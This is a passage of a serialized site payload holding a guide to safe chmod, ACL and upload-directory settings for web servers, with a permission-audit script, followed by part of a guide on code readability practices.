writes\n",[1560,27182,27183,27185,27187,27190],{"class":1562,"line":11621},[1560,27184,27025],{"class":1566},[1560,27186,25004],{"class":5634},[1560,27188,27189],{"class":1576}," 770",[1560,27191,27192],{"class":5634}," \u002Fvar\u002Fwww\u002Fuploads\n",[33,27194,27196],{"id":27195},"using-acls-for-granular-control","Using ACLs for Granular Control",[16,27198,27199],{},"When multiple developers need different access levels, POSIX ACLs provide finer control than traditional owner\u002Fgroup\u002Fothers:",[135,27201,27203],{"className":6951,"code":27202,"language":6953,"meta":141,"style":141},"# Give developer \"alice\" read\u002Fwrite access to the web root\nsudo setfacl -R -m u:alice:rwx \u002Fvar\u002Fwww\u002Fhtml\n\n# Ensure new files inherit the ACL\nsudo setfacl -R -d -m u:alice:rwx \u002Fvar\u002Fwww\u002Fhtml\n",[143,27204,27205,27210,27226,27230,27235],{"__ignoreMap":141},[1560,27206,27207],{"class":1562,"line":1563},[1560,27208,27209],{"class":1649},"# Give developer \"alice\" read\u002Fwrite access to the web root\n",[1560,27211,27212,27214,27217,27219,27221,27224],{"class":1562,"line":337},[1560,27213,27025],{"class":1566},[1560,27215,27216],{"class":5634}," setfacl",[1560,27218,25535],{"class":1576},[1560,27220,24227],{"class":1576},[1560,27222,27223],{"class":5634}," u:alice:rwx",[1560,27225,24807],{"class":5634},[1560,27227,27228],{"class":1562,"line":343},[1560,27229,1702],{"emptyLinePlaceholder":363},[1560,27231,27232],{"class":1562,"line":365},[1560,27233,27234],{"class":1649},"# Ensure new files inherit the ACL\n",[1560,27236,27237,27239,27241,27243,27246,27248,27250],{"class":1562,"line":889},[1560,27238,27025],{"class":1566},[1560,27240,27216],{"class":5634},[1560,27242,25535],{"class":1576},[1560,27244,27245],{"class":1576}," -d",[1560,27247,24227],{"class":1576},[1560,27249,27223],{"class":5634},[1560,27251,24807],{"class":5634},[11,27253,27255],{"id":27254},"upload-directories-the-danger-zone","Upload Directories: The Danger Zone",[16,27257,27258],{},"Upload directories are the highest-risk part of any web server because they allow external input to become files on your system.",[33,27260,27262],{"id":27261},"critical-rules","Critical Rules",[77,27264,27265],{},[44,27266,27267,27270,27271,8037],{},[47,27268,27269],{},"Never allow execution in upload directories."," If using Apache, add an ",[143,27272,27273],{},".htaccess",[135,27275,27279],{"className":27276,"code":27277,"language":27278,"meta":141,"style":141},"language-apache shiki shiki-themes github-light github-dark","# Disable script execution in uploads\n\u003CFilesMatch \"\\.ph(p[2-7]?|t|tml)$\">\n    Require all denied\n\u003C\u002FFilesMatch>\n","apache",[143,27280,27281,27286,27291,27296],{"__ignoreMap":141},[1560,27282,27283],{"class":1562,"line":1563},[1560,27284,27285],{},"# Disable script execution in uploads\n",[1560,27287,27288],{"class":1562,"line":337},[1560,27289,27290],{},"\u003CFilesMatch \"\\.ph(p[2-7]?|t|tml)$\">\n",[1560,27292,27293],{"class":1562,"line":343},[1560,27294,27295],{},"    Require all denied\n",[1560,27297,27298],{"class":1562,"line":365},[1560,27299,27300],{},"\u003C\u002FFilesMatch>\n",[77,27302,27303,27312,27325],{"start":337},[44,27304,27305,27308,27309,468],{},[47,27306,27307],{},"Separate uploads from the document root."," Serve uploads through a script or a separate virtual host, not directly from ",[143,27310,27311],{},"\u002Fvar\u002Fwww\u002Fhtml\u002Fuploads",[44,27313,27314,27317,27318,27321,27322,9368],{},[47,27315,27316],{},"Limit file sizes"," at the server level (Nginx: ",[143,27319,27320],{},"client_max_body_size",", Apache: ",[143,27323,27324],{},"LimitRequestBody",[44,27326,27327,27330],{},[47,27328,27329],{},"Validate file types"," server-side — never trust file extensions from the client.",[33,27332,27334],{"id":27333},"nginx-deny-php-execution-in-uploads","Nginx: Deny PHP Execution in Uploads",[135,27336,27339],{"className":27337,"code":27338,"language":26869,"meta":141,"style":141},"language-nginx shiki shiki-themes github-light github-dark","location \u002Fuploads\u002F {\n    location ~ \\.php$ {\n        deny all;\n    }\n}\n",[143,27340,27341,27346,27351,27356,27360],{"__ignoreMap":141},[1560,27342,27343],{"class":1562,"line":1563},[1560,27344,27345],{},"location \u002Fuploads\u002F {\n",[1560,27347,27348],{"class":1562,"line":337},[1560,27349,27350],{},"    location ~ \\.php$ {\n",[1560,27352,27353],{"class":1562,"line":343},[1560,27354,27355],{},"        deny all;\n",[1560,27357,27358],{"class":1562,"line":365},[1560,27359,11612],{},[1560,27361,27362],{"class":1562,"line":889},[1560,27363,1585],{},[11,27365,2341],{"id":2340},[33,27367,27369,27370],{"id":27368},"mistake-1-chmod-r-777-varwww","Mistake 1: ",[143,27371,27372],{},"chmod -R 777 \u002Fvar\u002Fwww",[16,27374,27375],{},"This makes every file writable by every user on the system. If any service is compromised, the attacker can modify your website at will.",[16,27377,27378,27380],{},[47,27379,1852],{}," Use 755 for directories and 644 for files, always.",[33,27382,27384],{"id":27383},"mistake-2-running-the-server-as-root","Mistake 2: Running the Server as root",[16,27386,27387],{},"If the webserver process runs as root, every vulnerability gives the attacker root access.",[16,27389,27390,27392,27393,1459,27395,27397],{},[47,27391,1852],{}," The server should run as an unprivileged user (",[143,27394,24918],{},[143,27396,26869],{},", etc.).",[33,27399,27401],{"id":27400},"mistake-3-config-files-world-readable","Mistake 3: Config Files World-Readable",[16,27403,27404],{},"Database passwords, API keys, and secrets in PHP\u002FPython config files must not be readable by \"others.\"",[16,27406,27407,27409],{},[47,27408,1852],{}," Mode 600, owned by root. The server reads them via group or ACL if needed.",[33,27411,27413],{"id":27412},"mistake-4-uploads-in-the-document-root-without-execution-block","Mistake 4: Uploads in the Document Root Without Execution Block",[16,27415,27416,27417,27420],{},"Even if you validate file types, an attacker might upload a ",[143,27418,27419],{},".php"," file disguised as an image.",[16,27422,27423,27425],{},[47,27424,1852],{}," Block script execution in upload directories at the server level.",[11,27427,27429],{"id":27428},"permission-verification-script","Permission Verification Script",[135,27431,27433],{"className":6951,"code":27432,"language":6953,"meta":141,"style":141},"#!\u002Fbin\u002Fbash\necho \"=== Web Server Permission Audit ===\"\necho \"Document root:\"\nfind \u002Fvar\u002Fwww\u002Fhtml -type d ! -perm 755 -ls 2>\u002Fdev\u002Fnull\nfind \u002Fvar\u002Fwww\u002Fhtml -type f ! -perm 644 -ls 2>\u002Fdev\u002Fnull\n\necho \"Upload directory:\"\nstat -c \"%a %n\" \u002Fvar\u002Fwww\u002Fuploads\n\necho \"Config directory:\"\nstat -c \"%a %n\" \u002Fvar\u002Fwww\u002Fconfig\nfind \u002Fvar\u002Fwww\u002Fconfig -type f ! -perm 600 -ls 2>\u002Fdev\u002Fnull\n\necho \"World-writable files:\"\nfind \u002Fvar\u002Fwww -xdev -type f -perm -o+w -ls 2>\u002Fdev\u002Fnull\n",[143,27434,27435,27440,27447,27454,27479,27501,27505,27512,27525,27529,27536,27546,27568,27572,27579],{"__ignoreMap":141},[1560,27436,27437],{"class":1562,"line":1563},[1560,27438,27439],{"class":1649},"#!\u002Fbin\u002Fbash\n",[1560,27441,27442,27444],{"class":1562,"line":337},[1560,27443,24278],{"class":1576},[1560,27445,27446],{"class":5634}," \"=== Web Server Permission Audit ===\"\n",[1560,27448,27449,27451],{"class":1562,"line":343},[1560,27450,24278],{"class":1576},[1560,27452,27453],{"class":5634}," \"Document root:\"\n",[1560,27455,27456,27458,27460,27462,27464,27466,27468,27470,27473,27476],{"class":1562,"line":365},[1560,27457,24989],{"class":1566},[1560,27459,27034],{"class":5634},[1560,27461,24995],{"class":1576},[1560,27463,11229],{"class":5634},[1560,27465,26754],{"class":5634},[1560,27467,26757],{"class":1576},[1560,27469,24804],{"class":1576},[1560,27471,27472],{"class":1576}," -ls",[1560,27474,27475],{"class":1669}," 2>",[1560,27477,27478],{"class":5634},"\u002Fdev\u002Fnull\n",[1560,27480,27481,27483,27485,27487,27489,27491,27493,27495,27497,27499],{"class":1562,"line":889},[1560,27482,24989],{"class":1566},[1560,27484,27034],{"class":5634},[1560,27486,24995],{"class":1576},[1560,27488,24998],{"class":5634},[1560,27490,26754],{"class":5634},[1560,27492,26757],{"class":1576},[1560,27494,24762],{"class":1576},[1560,27496,27472],{"class":1576},[1560,27498,27475],{"class":1669},[1560,27500,27478],{"class":5634},[1560,27502,27503],{"class":1562,"line":1710},[1560,27504,1702],{"emptyLinePlaceholder":363},[1560,27506,27507,27509],{"class":1562,"line":1717},[1560,27508,24278],{"class":1576},[1560,27510,27511],{"class":5634}," \"Upload directory:\"\n",[1560,27513,27514,27517,27520,27523],{"class":1562,"line":1747},[1560,27515,27516],{"class":1576},"stat",[1560,27518,27519],{"class":1576}," -c",[1560,27521,27522],{"class":5634}," \"%a %n\"",[1560,27524,27192],{"class":5634},[1560,27526,27527],{"class":1562,"line":2507},[1560,27528,1702],{"emptyLinePlaceholder":363},[1560,27530,27531,27533],{"class":1562,"line":2524},[1560,27532,24278],{"class":1576},[1560,27534,27535],{"class":5634}," \"Config directory:\"\n",[1560,27537,27538,27540,27542,27544],{"class":1562,"line":2529},[1560,27539,27516],{"class":1576},[1560,27541,27519],{"class":1576},[1560,27543,27522],{"class":5634},[1560,27545,27043],{"class":5634},[1560,27547,27548,27550,27552,27554,27556,27558,27560,27562,27564,27566],{"class":1562,"line":2534},[1560,27549,24989],{"class":1566},[1560,27551,27157],{"class":5634},[1560,27553,24995],{"class":1576},[1560,27555,24998],{"class":5634},[1560,27557,26754],{"class":5634},[1560,27559,26757],{"class":1576},[1560,27561,24844],{"class":1576},[1560,27563,27472],{"class":1576},[1560,27565,27475],{"class":1669},[1560,27567,27478],{"class":5634},[1560,27569,27570],{"class":1562,"line":2542},[1560,27571,1702],{"emptyLinePlaceholder":363},[1560,27573,27574,27576],{"class":1562,"line":2558},[1560,27575,24278],{"class":1576},[1560,27577,27578],{"class":5634}," \"World-writable files:\"\n",[1560,27580,27581,27583,27585,27588,27590,27592,27594,27597,27599,27601],{"class":1562,"line":2570},[1560,27582,24989],{"class":1566},[1560,27584,25827],{"class":5634},[1560,27586,27587],{"class":1576}," -xdev",[1560,27589,24995],{"class":1576},[1560,27591,24998],{"class":5634},[1560,27593,26757],{"class":1576},[1560,27595,27596],{"class":1576}," -o+w",[1560,27598,27472],{"class":1576},[1560,27600,27475],{"class":1669},[1560,27602,27478],{"class":5634},[16,27604,27605],{},"Run this periodically or in CI to catch permission drift.",[11,27607,1355],{"id":1354},[41,27609,27610,27613,27616,27619,27622,27625],{},[44,27611,27612],{},"Directories: 755, static files: 644, config files: 600 — these are your defaults",[44,27614,27615],{},"Never use 777 in production; it is always wrong",[44,27617,27618],{},"Separate upload directories from the document root and block script execution",[44,27620,27621],{},"Run the web server as an unprivileged user, never as root",[44,27623,27624],{},"Use ACLs when traditional permissions are not flexible enough",[44,27626,27627],{},"Audit permissions regularly with a verification script",[11,27629,286],{"id":285},[16,27631,27632,27633,27636,27637,27639],{},"Visualize permission settings for any web server path using our ",[98,27634,27635],{"href":25192},"chmod Calculator",". Toggle bits for owner, group, and others, then copy the exact ",[143,27638,24759],{}," command for your setup.",[11,27641,321],{"id":320},[41,27643,27644,27650],{},[44,27645,27646,27649],{},[98,27647,27648],{"href":25169},"chmod Guide"," — complete chmod syntax and examples",[44,27651,27652,27654],{},[98,27653,26024],{"href":26023}," — special bits, ACLs, and advanced patterns",[2043,27656,26813],{},{"title":141,"searchDepth":337,"depth":337,"links":27658},[27659,27660,27664,27668,27672,27679,27680,27681,27682],{"id":26849,"depth":337,"text":26850},{"id":26859,"depth":337,"text":26860,"children":27661},[27662,27663],{"id":26873,"depth":343,"text":26874},{"id":26883,"depth":343,"text":26884},{"id":27005,"depth":337,"text":27006,"children":27665},[27666,27667],{"id":27009,"depth":343,"text":27010},{"id":27195,"depth":343,"text":27196},{"id":27254,"depth":337,"text":27255,"children":27669},[27670,27671],{"id":27261,"depth":343,"text":27262},{"id":27333,"depth":343,"text":27334},{"id":2340,"depth":337,"text":2341,"children":27673},[27674,27676,27677,27678],{"id":27368,"depth":343,"text":27675},"Mistake 1: chmod -R 777 \u002Fvar\u002Fwww",{"id":27383,"depth":343,"text":27384},{"id":27400,"depth":343,"text":27401},{"id":27412,"depth":343,"text":27413},{"id":27428,"depth":337,"text":27429},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn the correct chmod settings for web server directories, document roots, upload folders, and config files. Avoid common permission mistakes.",{"keywords":27685,"immutable":363},[26052,27686],"chmod-web-server-directories","\u002Fguides\u002Fchmod-web-server-directories",{"title":26844,"description":27683},"guides\u002Fchmod-web-server-directories","qc5CRY84kh54Eh2er53_wKdwFfRfSFfzv72_hHvh7jI",{"id":27692,"title":27693,"body":27694,"date":2070,"description":28682,"extension":361,"meta":28683,"navigation":363,"path":23833,"readingTime":1710,"seo":28684,"stem":28685,"__hash__":28686},"guides\u002Fguides\u002Fcode-readability-tips.md","Code Readability Tips: Write Code That Humans Understand",{"type":8,"value":27695,"toc":28658},[27696,27700,27703,27706,27710,27713,27717,27803,27807,27906,27919,27923,27926,27930,27944,27948,27951,28168,28171,28175,28178,28357,28361,28364,28412,28416,28468,28472,28475,28479,28490,28494,28497,28501,28557,28560,28564,28567,28622,28625,28627,28647,28649,28655],[11,27697,27699],{"id":27698},"why-readability-trumps-cleverness","Why Readability Trumps Cleverness",[16,27701,27702],{},"Code is read far more often than it is written. A function you compose in ten minutes may be read hundreds of times over its lifetime — by reviewers, by teammates fixing bugs, and by you six months later when you have forgotten the context.",[16,27704,27705],{},"Clever code that saves five seconds to write but costs five minutes to understand is a net loss. Readable code reduces onboarding time, lowers bug rates, and makes code reviews faster.",[11,27707,27709],{"id":27708},"name-things-to-reveal-intent","Name Things to Reveal Intent",[16,27711,27712],{},"The single most impactful readability improvement is better names. A good name answers three questions: what does this thing do, what does it contain, and when should you use it?",[33,27714,27716],{"id":27715},"naming-anti-patterns","Naming Anti-Patterns",[193,27718,27719,27731],{},[196,27720,27721],{},[199,27722,27723,27726,27728],{},[202,27724,27725],{},"Anti-Pattern",[202,27727,133],{},[202,27729,27730],{},"Problem",[211,27732,27733,27746,27759,27777,27790],{},[199,27734,27735,27738,27743],{},[216,27736,27737],{},"Single-letter names",[216,27739,27740],{},[143,27741,27742],{},"d",[216,27744,27745],{},"No context — duration? distance? date?",[199,27747,27748,27751,27756],{},[216,27749,27750],{},"Abbreviations",[216,27752,27753],{},[143,27754,27755],{},"usrCfg",[216,27757,27758],{},"Reader must decode the abbreviation",[199,27760,27761,27764,27774],{},[216,27762,27763],{},"Generic names",[216,27765,27766,1459,27768,1459,27771],{},[143,27767,12781],{},[143,27769,27770],{},"info",[143,27772,27773],{},"tmp",[216,27775,27776],{},"Tells you nothing about the content",[199,27778,27779,27782,27787],{},[216,27780,27781],{},"Type in name",[216,27783,27784],{},[143,27785,27786],{},"nameString",[216,27788,27789],{},"Redundant with the type system",[199,27791,27792,27795,27800],{},[216,27793,27794],{},"Negated booleans",[216,27796,27797],{},[143,27798,27799],{},"isNotValid",[216,27801,27802],{},"Double negatives in conditions",[33,27804,27806],{"id":27805},"better-alternatives","Better Alternatives",[135,27808,27810],{"className":1607,"code":27809,"language":1609,"meta":141,"style":141},"\u002F\u002F Unclear\nconst d = getTime()\n\n\u002F\u002F Clear\nconst elapsedSeconds = getTime()\n\n\u002F\u002F Unclear\nfunction process(d) { ... }\n\n\u002F\u002F Clear\nfunction formatInvoiceDate(rawTimestamp) { ... }\n",[143,27811,27812,27817,27831,27835,27840,27853,27857,27861,27880,27884,27888],{"__ignoreMap":141},[1560,27813,27814],{"class":1562,"line":1563},[1560,27815,27816],{"class":1649},"\u002F\u002F Unclear\n",[1560,27818,27819,27821,27823,27825,27828],{"class":1562,"line":337},[1560,27820,8180],{"class":1669},[1560,27822,11229],{"class":1576},[1560,27824,8186],{"class":1669},[1560,27826,27827],{"class":1566}," getTime",[1560,27829,27830],{"class":1570},"()\n",[1560,27832,27833],{"class":1562,"line":343},[1560,27834,1702],{"emptyLinePlaceholder":363},[1560,27836,27837],{"class":1562,"line":365},[1560,27838,27839],{"class":1649},"\u002F\u002F Clear\n",[1560,27841,27842,27844,27847,27849,27851],{"class":1562,"line":889},[1560,27843,8180],{"class":1669},[1560,27845,27846],{"class":1576}," elapsedSeconds",[1560,27848,8186],{"class":1669},[1560,27850,27827],{"class":1566},[1560,27852,27830],{"class":1570},[1560,27854,27855],{"class":1562,"line":1710},[1560,27856,1702],{"emptyLinePlaceholder":363},[1560,27858,27859],{"class":1562,"line":1717},[1560,27860,27816],{"class":1649},[1560,27862,27863,27865,27868,27870,27872,27875,27877],{"class":1562,"line":1747},[1560,27864,8648],{"class":1669},[1560,27866,27867],{"class":1566}," process",[1560,27869,1688],{"class":1570},[1560,27871,27742],{"class":2219},[1560,27873,27874],{"class":1570},") { ",[1560,27876,24388],{"class":1669},[1560,27878,27879],{"class":1570}," }\n",[1560,27881,27882],{"class":1562,"line":2507},[1560,27883,1702],{"emptyLinePlaceholder":363},[1560,27885,27886],{"class":1562,"line":2524},[1560,27887,27839],{"class":1649},[1560,27889,27890,27892,27895,27897,27900,27902,27904],{"class":1562,"line":2529},[1560,27891,8648],{"class":1669},[1560,27893,27894],{"class":1566}," formatInvoiceDate",[1560,27896,1688],{"class":1570},[1560,27898,27899],{"class":2219},"rawTimestamp",[1560,27901,27874],{"class":1570},[1560,27903,24388],{"class":1669},[1560,27905,27879],{"class":1570},[16,27907,27908,27909,27911,27912,27914,27915,27918],{},"Naming conventions also matter. Use ",[98,27910,23337],{"href":23815}," for JavaScript variables, ",[143,27913,23347],{}," for Python, and ",[143,27916,27917],{},"PascalCase"," for classes and components. Consistency within a codebase is more important than any single style choice.",[11,27920,27922],{"id":27921},"keep-functions-short-and-focused","Keep Functions Short and Focused",[16,27924,27925],{},"A function should do one thing. If you need the word \"and\" to describe what it does, split it.",[33,27927,27929],{"id":27928},"signs-a-function-does-too-much","Signs a Function Does Too Much",[41,27931,27932,27935,27938,27941],{},[44,27933,27934],{},"It has more than three levels of nesting.",[44,27936,27937],{},"It takes more than three parameters.",[44,27939,27940],{},"You struggle to name it without using \"and.\"",[44,27942,27943],{},"It modifies more than one piece of state.",[33,27945,27947],{"id":27946},"the-extract-method-pattern","The Extract Method Pattern",[16,27949,27950],{},"When a function grows too long, extract logical blocks into their own functions. Name the new function after what the block does.",[135,27952,27954],{"className":1607,"code":27953,"language":1609,"meta":141,"style":141},"\u002F\u002F Before — long function with mixed concerns\nfunction handleSubmit(formData) {\n  \u002F\u002F validate\n  if (!formData.email.includes('@')) throw new Error('Invalid email')\n  if (formData.password.length \u003C 8) throw new Error('Short password')\n  \u002F\u002F save\n  const user = await db.users.create(formData)\n  \u002F\u002F notify\n  await email.sendWelcome(user.email)\n  return user\n}\n\n\u002F\u002F After — each step is a named function\nfunction handleSubmit(formData) {\n  validateRegistration(formData)\n  const user = await createUser(formData)\n  await sendWelcomeEmail(user)\n  return user\n}\n",[143,27955,27956,27961,27975,27980,28019,28048,28053,28075,28080,28094,28101,28105,28109,28114,28126,28133,28148,28158,28164],{"__ignoreMap":141},[1560,27957,27958],{"class":1562,"line":1563},[1560,27959,27960],{"class":1649},"\u002F\u002F Before — long function with mixed concerns\n",[1560,27962,27963,27965,27968,27970,27973],{"class":1562,"line":337},[1560,27964,8648],{"class":1669},[1560,27966,27967],{"class":1566}," handleSubmit",[1560,27969,1688],{"class":1570},[1560,27971,27972],{"class":2219},"formData",[1560,27974,9345],{"class":1570},[1560,27976,27977],{"class":1562,"line":343},[1560,27978,27979],{"class":1649},"  \u002F\u002F validate\n",[1560,27981,27982,27985,27987,27990,27993,27996,27998,28001,28004,28007,28009,28012,28014,28017],{"class":1562,"line":365},[1560,27983,27984],{"class":1669},"  if",[1560,27986,5181],{"class":1570},[1560,27988,27989],{"class":1669},"!",[1560,27991,27992],{"class":1570},"formData.email.",[1560,27994,27995],{"class":1566},"includes",[1560,27997,1688],{"class":1570},[1560,27999,28000],{"class":5634},"'@'",[1560,28002,28003],{"class":1570},")) ",[1560,28005,28006],{"class":1669},"throw",[1560,28008,11489],{"class":1669},[1560,28010,28011],{"class":1566}," Error",[1560,28013,1688],{"class":1570},[1560,28015,28016],{"class":5634},"'Invalid email'",[1560,28018,8252],{"class":1570},[1560,28020,28021,28023,28026,28028,28031,28033,28035,28037,28039,28041,28043,28046],{"class":1562,"line":889},[1560,28022,27984],{"class":1669},[1560,28024,28025],{"class":1570}," (formData.password.",[1560,28027,9418],{"class":1576},[1560,28029,28030],{"class":1669}," \u003C",[1560,28032,13490],{"class":1576},[1560,28034,1733],{"class":1570},[1560,28036,28006],{"class":1669},[1560,28038,11489],{"class":1669},[1560,28040,28011],{"class":1566},[1560,28042,1688],{"class":1570},[1560,28044,28045],{"class":5634},"'Short password'",[1560,28047,8252],{"class":1570},[1560,28049,28050],{"class":1562,"line":1710},[1560,28051,28052],{"class":1649},"  \u002F\u002F save\n",[1560,28054,28055,28058,28061,28063,28066,28069,28072],{"class":1562,"line":1717},[1560,28056,28057],{"class":1669},"  const",[1560,28059,28060],{"class":1576}," user",[1560,28062,8186],{"class":1669},[1560,28064,28065],{"class":1669}," await",[1560,28067,28068],{"class":1570}," db.users.",[1560,28070,28071],{"class":1566},"create",[1560,28073,28074],{"class":1570},"(formData)\n",[1560,28076,28077],{"class":1562,"line":1747},[1560,28078,28079],{"class":1649},"  \u002F\u002F notify\n",[1560,28081,28082,28085,28088,28091],{"class":1562,"line":2507},[1560,28083,28084],{"class":1669},"  await",[1560,28086,28087],{"class":1570}," email.",[1560,28089,28090],{"class":1566},"sendWelcome",[1560,28092,28093],{"class":1570},"(user.email)\n",[1560,28095,28096,28098],{"class":1562,"line":2524},[1560,28097,9350],{"class":1669},[1560,28099,28100],{"class":1570}," user\n",[1560,28102,28103],{"class":1562,"line":2529},[1560,28104,1585],{"class":1570},[1560,28106,28107],{"class":1562,"line":2534},[1560,28108,1702],{"emptyLinePlaceholder":363},[1560,28110,28111],{"class":1562,"line":2542},[1560,28112,28113],{"class":1649},"\u002F\u002F After — each step is a named function\n",[1560,28115,28116,28118,28120,28122,28124],{"class":1562,"line":2558},[1560,28117,8648],{"class":1669},[1560,28119,27967],{"class":1566},[1560,28121,1688],{"class":1570},[1560,28123,27972],{"class":2219},[1560,28125,9345],{"class":1570},[1560,28127,28128,28131],{"class":1562,"line":2570},[1560,28129,28130],{"class":1566},"  validateRegistration",[1560,28132,28074],{"class":1570},[1560,28134,28135,28137,28139,28141,28143,28146],{"class":1562,"line":6638},[1560,28136,28057],{"class":1669},[1560,28138,28060],{"class":1576},[1560,28140,8186],{"class":1669},[1560,28142,28065],{"class":1669},[1560,28144,28145],{"class":1566}," createUser",[1560,28147,28074],{"class":1570},[1560,28149,28150,28152,28155],{"class":1562,"line":11615},[1560,28151,28084],{"class":1669},[1560,28153,28154],{"class":1566}," sendWelcomeEmail",[1560,28156,28157],{"class":1570},"(user)\n",[1560,28159,28160,28162],{"class":1562,"line":11621},[1560,28161,9350],{"class":1669},[1560,28163,28100],{"class":1570},[1560,28165,28166],{"class":1562,"line":11633},[1560,28167,1585],{"class":1570},[16,28169,28170],{},"The refactored version reads like a table of contents. Each step is self-documenting.",[11,28172,28174],{"id":28173},"reduce-nesting-with-early-returns","Reduce Nesting with Early Returns",[16,28176,28177],{},"Deep nesting forces the reader to hold multiple conditions in their head simultaneously. Early returns flatten the structure and put the happy path front and center.",[135,28179,28181],{"className":1607,"code":28180,"language":1609,"meta":141,"style":141},"\u002F\u002F Nested — reader must track three levels\nfunction getDiscount(user) {\n  if (user) {\n    if (user.isPremium) {\n      if (user.yearsActive > 5) {\n        return 0.25\n      }\n      return 0.15\n    }\n    return 0.05\n  }\n  return 0\n}\n\n\u002F\u002F Flat — each condition is handled immediately\nfunction getDiscount(user) {\n  if (!user) return 0\n  if (!user.isPremium) return 0.05\n  if (user.yearsActive > 5) return 0.25\n  return 0.15\n}\n",[143,28182,28183,28188,28202,28209,28216,28232,28240,28245,28253,28257,28264,28268,28275,28279,28283,28288,28300,28316,28331,28347,28353],{"__ignoreMap":141},[1560,28184,28185],{"class":1562,"line":1563},[1560,28186,28187],{"class":1649},"\u002F\u002F Nested — reader must track three levels\n",[1560,28189,28190,28192,28195,28197,28200],{"class":1562,"line":337},[1560,28191,8648],{"class":1669},[1560,28193,28194],{"class":1566}," getDiscount",[1560,28196,1688],{"class":1570},[1560,28198,28199],{"class":2219},"user",[1560,28201,9345],{"class":1570},[1560,28203,28204,28206],{"class":1562,"line":343},[1560,28205,27984],{"class":1669},[1560,28207,28208],{"class":1570}," (user) {\n",[1560,28210,28211,28213],{"class":1562,"line":365},[1560,28212,11527],{"class":1669},[1560,28214,28215],{"class":1570}," (user.isPremium) {\n",[1560,28217,28218,28221,28224,28227,28230],{"class":1562,"line":889},[1560,28219,28220],{"class":1669},"      if",[1560,28222,28223],{"class":1570}," (user.yearsActive ",[1560,28225,28226],{"class":1669},">",[1560,28228,28229],{"class":1576}," 5",[1560,28231,9345],{"class":1570},[1560,28233,28234,28237],{"class":1562,"line":1710},[1560,28235,28236],{"class":1669},"        return",[1560,28238,28239],{"class":1576}," 0.25\n",[1560,28241,28242],{"class":1562,"line":1717},[1560,28243,28244],{"class":1570},"      }\n",[1560,28246,28247,28250],{"class":1562,"line":1747},[1560,28248,28249],{"class":1669},"      return",[1560,28251,28252],{"class":1576}," 0.15\n",[1560,28254,28255],{"class":1562,"line":2507},[1560,28256,11612],{"class":1570},[1560,28258,28259,28261],{"class":1562,"line":2524},[1560,28260,9434],{"class":1669},[1560,28262,28263],{"class":1576}," 0.05\n",[1560,28265,28266],{"class":1562,"line":2529},[1560,28267,4959],{"class":1570},[1560,28269,28270,28272],{"class":1562,"line":2534},[1560,28271,9350],{"class":1669},[1560,28273,28274],{"class":1576}," 0\n",[1560,28276,28277],{"class":1562,"line":2542},[1560,28278,1585],{"class":1570},[1560,28280,28281],{"class":1562,"line":2558},[1560,28282,1702],{"emptyLinePlaceholder":363},[1560,28284,28285],{"class":1562,"line":2570},[1560,28286,28287],{"class":1649},"\u002F\u002F Flat — each condition is handled immediately\n",[1560,28289,28290,28292,28294,28296,28298],{"class":1562,"line":6638},[1560,28291,8648],{"class":1669},[1560,28293,28194],{"class":1566},[1560,28295,1688],{"class":1570},[1560,28297,28199],{"class":2219},[1560,28299,9345],{"class":1570},[1560,28301,28302,28304,28306,28308,28311,28314],{"class":1562,"line":11615},[1560,28303,27984],{"class":1669},[1560,28305,5181],{"class":1570},[1560,28307,27989],{"class":1669},[1560,28309,28310],{"class":1570},"user) ",[1560,28312,28313],{"class":1669},"return",[1560,28315,28274],{"class":1576},[1560,28317,28318,28320,28322,28324,28327,28329],{"class":1562,"line":11621},[1560,28319,27984],{"class":1669},[1560,28321,5181],{"class":1570},[1560,28323,27989],{"class":1669},[1560,28325,28326],{"class":1570},"user.isPremium) ",[1560,28328,28313],{"class":1669},[1560,28330,28263],{"class":1576},[1560,28332,28333,28335,28337,28339,28341,28343,28345],{"class":1562,"line":11633},[1560,28334,27984],{"class":1669},[1560,28336,28223],{"class":1570},[1560,28338,28226],{"class":1669},[1560,28340,28229],{"class":1576},[1560,28342,1733],{"class":1570},[1560,28344,28313],{"class":1669},[1560,28346,28239],{"class":1576},[1560,28348,28349,28351],{"class":1562,"line":11638},[1560,28350,9350],{"class":1669},[1560,28352,28252],{"class":1576},[1560,28354,28355],{"class":1562,"line":11672},[1560,28356,1585],{"class":1570},[11,28358,28360],{"id":28359},"use-comments-for-why-not-what","Use Comments for \"Why,\" Not \"What\"",[16,28362,28363],{},"Comments that describe what code does are usually a sign the code is not clear enough. Rewrite the code instead. Comments should explain decisions, trade-offs, and non-obvious constraints.",[135,28365,28367],{"className":1607,"code":28366,"language":1609,"meta":141,"style":141},"\u002F\u002F Bad — restates the code\n\u002F\u002F Increment i by 1\ni += 1\n\n\u002F\u002F Good — explains the reason\n\u002F\u002F API returns 1-based indices but our array is 0-based\ni += 1\n",[143,28368,28369,28374,28379,28390,28394,28399,28404],{"__ignoreMap":141},[1560,28370,28371],{"class":1562,"line":1563},[1560,28372,28373],{"class":1649},"\u002F\u002F Bad — restates the code\n",[1560,28375,28376],{"class":1562,"line":337},[1560,28377,28378],{"class":1649},"\u002F\u002F Increment i by 1\n",[1560,28380,28381,28384,28387],{"class":1562,"line":343},[1560,28382,28383],{"class":1570},"i ",[1560,28385,28386],{"class":1669},"+=",[1560,28388,28389],{"class":1576}," 1\n",[1560,28391,28392],{"class":1562,"line":365},[1560,28393,1702],{"emptyLinePlaceholder":363},[1560,28395,28396],{"class":1562,"line":889},[1560,28397,28398],{"class":1649},"\u002F\u002F Good — explains the reason\n",[1560,28400,28401],{"class":1562,"line":1710},[1560,28402,28403],{"class":1649},"\u002F\u002F API returns 1-based indices but our array is 0-based\n",[1560,28405,28406,28408,28410],{"class":1562,"line":1717},[1560,28407,28383],{"class":1570},[1560,28409,28386],{"class":1669},[1560,28411,28389],{"class":1576},[33,28413,28415],{"id":28414},"when-comments-are-valuable","When Comments Are Valuable",[193,28417,28418,28426],{},[196,28419,28420],{},[199,28421,28422,28424],{},[202,28423,6703],{},[202,28425,133],{},[211,28427,28428,28438,28448,28458],{},[199,28429,28430,28433],{},[216,28431,28432],{},"Workaround for a vendor bug",[216,28434,28435],{},[143,28436,28437],{},"\u002F\u002F Third-party SDK ignores timeout below 100ms",[199,28439,28440,28443],{},[216,28441,28442],{},"Performance trade-off",[216,28444,28445],{},[143,28446,28447],{},"\u002F\u002F Linear search is faster than Set for arrays under 10 items",[199,28449,28450,28453],{},[216,28451,28452],{},"Business rule reference",[216,28454,28455],{},[143,28456,28457],{},"\u002F\u002F Regulation requires 90-day retention (see 